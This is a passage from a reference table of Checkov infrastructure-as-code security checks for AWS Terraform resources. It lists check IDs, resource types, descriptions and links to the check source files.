| Terraform | [RedshiftClusterWithCommonUsernameAndPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py) | | 544 | CKV_AWS_392 | resource | aws_s3_access_point | Ensure AWS S3 access point block public access setting is enabled | Terraform | [S3AccessPointPubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py) | | 545 | CKV2_AWS_1 | resource | aws_network_acl | Ensure that all NACL are attached to subnets | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml) | | 546 | CKV2_AWS_1 | resource | aws_subnet | Ensure that all NACL are attached to subnets | Terraform | [SubnetHasACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SubnetHasACL.yaml) | | 547 | CKV2_AWS_2 | resource | aws_ebs_volume | Ensure that only encrypted EBS volumes are attached to EC2 instances | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml) | | 548 | CKV2_AWS_2 | resource | aws_volume_attachment | Ensure that only encrypted EBS volumes are attached to EC2 instances | Terraform | [EncryptedEBSVolumeOnlyConnectedToEC2s.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml) | | 549 | CKV2_AWS_3 | resource | aws_guardduty_detector | Ensure GuardDuty is enabled to specific org/region | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml) | | 550 | CKV2_AWS_3 | resource | aws_guardduty_organization_configuration | Ensure GuardDuty is enabled to specific org/region | Terraform | [GuardDutyIsEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml) | | 551 | CKV2_AWS_4 | resource | aws_api_gateway_method_settings | Ensure API Gateway stage have logging level defined as appropriate | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml) | | 552 | CKV2_AWS_4 | resource | aws_api_gateway_stage | Ensure API Gateway stage have logging level defined as appropriate | Terraform | [APIGWLoggingLevelsDefinedProperly.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGWLoggingLevelsDefinedProperly.yaml) | | 553 | CKV2_AWS_5 | resource | aws_security_group | Ensure that Security Groups are attached to another resource | Terraform | [SGAttachedToResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/SGAttachedToResource.yaml) | | 554 | CKV2_AWS_6 | resource | aws_s3_bucket | Ensure that S3 bucket has a Public Access block | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml) | | 555 | CKV2_AWS_6 | resource | aws_s3_bucket_public_access_block | Ensure that S3 bucket has a Public Access block | Terraform | [S3BucketHasPublicAccessBlock.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/S3BucketHasPublicAccessBlock.yaml) | | 556 | CKV2_AWS_7 | resource | aws_emr_cluster | Ensure that Amazon EMR clusters' security groups are not open to the world | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml) | | 557 | CKV2_AWS_7 | resource | aws_security_group | Ensure that Amazon EMR clusters' security groups are not open to the world | Terraform | [AMRClustersNotOpenToInternet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AMRClustersNotOpenToInternet.yaml) | | 558 | CKV2_AWS_8 | resource | aws_rds_cluster | Ensure that RDS clusters has backup plan of AWS Backup | Terraform | [RDSClusterHasBackupPlan.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/RDSClusterHasBackupPlan.yaml) | | 559 | CKV2_AWS_9 | resource | aws_backup_selection | Ensure that EBS are added in the backup plans of AWS Backup | Terraform | [EBSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml) | | 560 | CKV2_AWS_10 | resource | aws_cloudtrail | Ensure CloudTrail trails are integrated with CloudWatch Logs | Terraform | [CloudtrailHasCloudwatch.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml) | | 561 | CKV2_AWS_11 | resource | aws_vpc | Ensure VPC flow logging is enabled in all VPCs | Terraform | [VPCHasFlowLog.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasFlowLog.yaml) | | 562 | CKV2_AWS_12 | resource | aws_default_security_group | Ensure the default security group of every VPC restricts all traffic | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml) | | 563 | CKV2_AWS_12 | resource | aws_vpc | Ensure the default security group of every VPC restricts all traffic | Terraform | [VPCHasRestrictedSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/VPCHasRestrictedSG.yaml) | | 564 | CKV2_AWS_14 | resource | aws_iam_group | Ensure that IAM groups includes at least one IAM user | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml) | | 565 | CKV2_AWS_14 | resource | aws_iam_group_membership | Ensure that IAM groups includes at least one IAM user | Terraform | [IAMGroupHasAtLeastOneUser.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml) | | 566 | CKV2_AWS_15 | resource | aws_autoscaling_group | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 567 | CKV2_AWS_15 | resource | aws_elb | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 568 | CKV2_AWS_15 | resource | aws_lb_target_group | Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks. | Terraform | [AutoScallingEnabledELB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml) | | 569 | CKV2_AWS_16 | resource | aws_appautoscaling_target | Ensure that Auto Scaling is enabled on your DynamoDB tables | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml) | | 570 | CKV2_AWS_16 | resource | aws_dynamodb_table | Ensure that Auto Scaling is enabled on your DynamoDB tables | Terraform | [AutoScalingEnableOnDynamoDBTables.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml) | | 571 | CKV2_AWS_18 | resource | aws_backup_selection | Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup | Terraform | [EFSAddedBackup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml) | | 572 | CKV2_AWS_19 | resource | aws_eip | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml) | | 573 | CKV2_AWS_19 | resource | aws_eip_association | Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances | Terraform | [EIPAllocatedToVPCAttachedEC2.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml) | | 574 | CKV2_AWS_20 | resource | aws_alb | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 575 | CKV2_AWS_20 | resource | aws_alb_listener | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 576 | CKV2_AWS_20 | resource | aws_lb | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 577 | CKV2_AWS_20 | resource | aws_lb_listener | Ensure that ALB redirects HTTP requests into HTTPS ones | Terraform | [ALBRedirectsHTTPToHTTPS.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBRedirectsHTTPToHTTPS.yaml) | | 578 | CKV2_AWS_21 | resource | aws_iam_group_membership | Ensure that all IAM users are members of at least one IAM group. | Terraform | [IAMUsersAreMembersAtLeastOneGroup.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUsersAreMembersAtLeastOneGroup.yaml) | | 579 | CKV2_AWS_22 | resource | aws_iam_user | Ensure an IAM User does not have access to the console | Terraform | [IAMUserHasNoConsoleAccess.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/IAMUserHasNoConsoleAccess.yaml) | | 580 | CKV2_AWS_23 | resource | aws_route53_record | Route53 A Record has Attached Resource | Terraform | [Route53ARecordAttachedResource.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/Route53ARecordAttachedResource.yaml) | | 581 | CKV2_AWS_27 | resource | aws_rds_cluster | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml) | | 582 | CKV2_AWS_27 | resource | aws_rds_cluster_parameter_group | Ensure Postgres RDS as aws_rds_cluster has Query Logging enabled | Terraform | [PostgresRDSHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresRDSHasQueryLoggingEnabled.yaml) | | 583 | CKV2_AWS_28 | resource | aws_alb | Ensure public facing ALB are protected by WAF | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml) | | 584 | CKV2_AWS_28 | resource | aws_lb | Ensure public facing ALB are protected by WAF | Terraform | [ALBProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBProtectedByWAF.yaml) | | 585 | CKV2_AWS_29 | resource | aws_api_gateway_rest_api | Ensure public API gateway are protected by WAF | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml) | | 586 | CKV2_AWS_29 | resource | aws_api_gateway_stage | Ensure public API gateway are protected by WAF | Terraform | [APIProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml) | | 587 | CKV2_AWS_30 | resource | aws_db_instance | Ensure Postgres RDS as aws_db_instance has Query Logging enabled | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml) | | 588 | CKV2_AWS_30 | resource | aws_db_parameter_group | Ensure Postgres RDS as aws_db_instance has Query Logging enabled | Terraform | [PostgresDBHasQueryLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/PostgresDBHasQueryLoggingEnabled.yaml) | | 589 | CKV2_AWS_31 | resource | aws_wafv2_web_acl | Ensure WAF2 has a Logging Configuration | Terraform | [WAF2HasLogs.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/WAF2HasLogs.yaml) | | 590 | CKV2_AWS_32 | resource | aws_cloudfront_distribution | Ensure CloudFront distribution has a response headers policy attached | Terraform | [CloudFrontHasResponseHeadersPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml) | | 591 | CKV2_AWS_33 | resource | aws_appsync_graphql_api | Ensure AppSync is protected by WAF | Terraform | [AppSyncProtectedByWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml) | | 592 | CKV2_AWS_34 | resource | aws_ssm_parameter | AWS SSM Parameter should be Encrypted | Terraform | [AWSSSMParameterShouldBeEncrypted.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml) | | 593 | CKV2_AWS_35 | resource | aws_route | AWS NAT Gateways should be utilized for the default route | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml) | | 594 | CKV2_AWS_35 | resource | aws_route_table | AWS NAT Gateways should be utilized for the default route | Terraform | [AWSNATGatewaysshouldbeutilized.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml) | | 595 | CKV2_AWS_36 | resource | aws_ssm_parameter | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) | | 596 | CKV2_AWS_36 | resource | data.http | Ensure terraform is not sending SSM secrets to untrusted domains over HTTP | Terraform | [HTTPNotSendingPasswords.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml) | | 597 | CKV2_AWS_37 | resource | aws | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 598 | CKV2_AWS_37 | resource | aws_accessanalyzer_analyzer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 599 | CKV2_AWS_37 | resource | aws_accessanalyzer_archive_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 600 | CKV2_AWS_37 | resource | aws_account_alternate_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 601 | CKV2_AWS_37 | resource | aws_account_primary_contact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 602 | CKV2_AWS_37 | resource | aws_account_region | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 603 | CKV2_AWS_37 | resource | aws_acm_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 604 | CKV2_AWS_37 | resource | aws_acm_certificate_validation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 605 | CKV2_AWS_37 | resource | aws_acmpca_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 606 | CKV2_AWS_37 | resource | aws_acmpca_certificate_authority | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 607 | CKV2_AWS_37 | resource | aws_acmpca_certificate_authority_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 608 | CKV2_AWS_37 | resource | aws_acmpca_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 609 | CKV2_AWS_37 | resource | aws_acmpca_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 610 | CKV2_AWS_37 | resource | aws_alb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 611 | CKV2_AWS_37 | resource | aws_alb_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 612 | CKV2_AWS_37 | resource | aws_alb_listener_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 613 | CKV2_AWS_37 | resource | aws_alb_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 614 | CKV2_AWS_37 | resource | aws_alb_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 615 | CKV2_AWS_37 | resource | aws_alb_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 616 | CKV2_AWS_37 | resource | aws_ami | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 617 | CKV2_AWS_37 | resource | aws_ami_copy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 618 | CKV2_AWS_37 | resource | aws_ami_from_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 619 | CKV2_AWS_37 | resource | aws_ami_launch_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 620 | CKV2_AWS_37 | resource | aws_amplify_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 621 | CKV2_AWS_37 | resource | aws_amplify_backend_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 622 | CKV2_AWS_37 | resource | aws_amplify_branch | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 623 | CKV2_AWS_37 | resource | aws_amplify_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 624 | CKV2_AWS_37 | resource | aws_amplify_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 625 | CKV2_AWS_37 | resource | aws_api_gateway_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 626 | CKV2_AWS_37 | resource | aws_api_gateway_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 627 | CKV2_AWS_37 | resource | aws_api_gateway_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 628 | CKV2_AWS_37 | resource | aws_api_gateway_base_path_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 629 | CKV2_AWS_37 | resource | aws_api_gateway_client_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 630 | CKV2_AWS_37 | resource | aws_api_gateway_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 631 | CKV2_AWS_37 | resource | aws_api_gateway_documentation_part | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 632 | CKV2_AWS_37 | resource | aws_api_gateway_documentation_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 633 | CKV2_AWS_37 | resource | aws_api_gateway_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 634 | CKV2_AWS_37 | resource | aws_api_gateway_domain_name_access_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 635 | CKV2_AWS_37 | resource | aws_api_gateway_gateway_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 636 | CKV2_AWS_37 | resource | aws_api_gateway_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 637 | CKV2_AWS_37 | resource | aws_api_gateway_integration_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 638 | CKV2_AWS_37 | resource | aws_api_gateway_method | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 639 | CKV2_AWS_37 | resource | aws_api_gateway_method_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 640 | CKV2_AWS_37 | resource | aws_api_gateway_method_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 641 | CKV2_AWS_37 | resource | aws_api_gateway_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 642 | CKV2_AWS_37 | resource | aws_api_gateway_request_validator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 643 | CKV2_AWS_37 | resource | aws_api_gateway_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 644 | CKV2_AWS_37 | resource | aws_api_gateway_rest_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 645 | CKV2_AWS_37 | resource | aws_api_gateway_rest_api_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 646 | CKV2_AWS_37 | resource | aws_api_gateway_stage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 647 | CKV2_AWS_37 | resource | aws_api_gateway_usage_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 648 | CKV2_AWS_37 | resource | aws_api_gateway_usage_plan_key | Ensure CodeCommit associates an approval rule | Terraform | 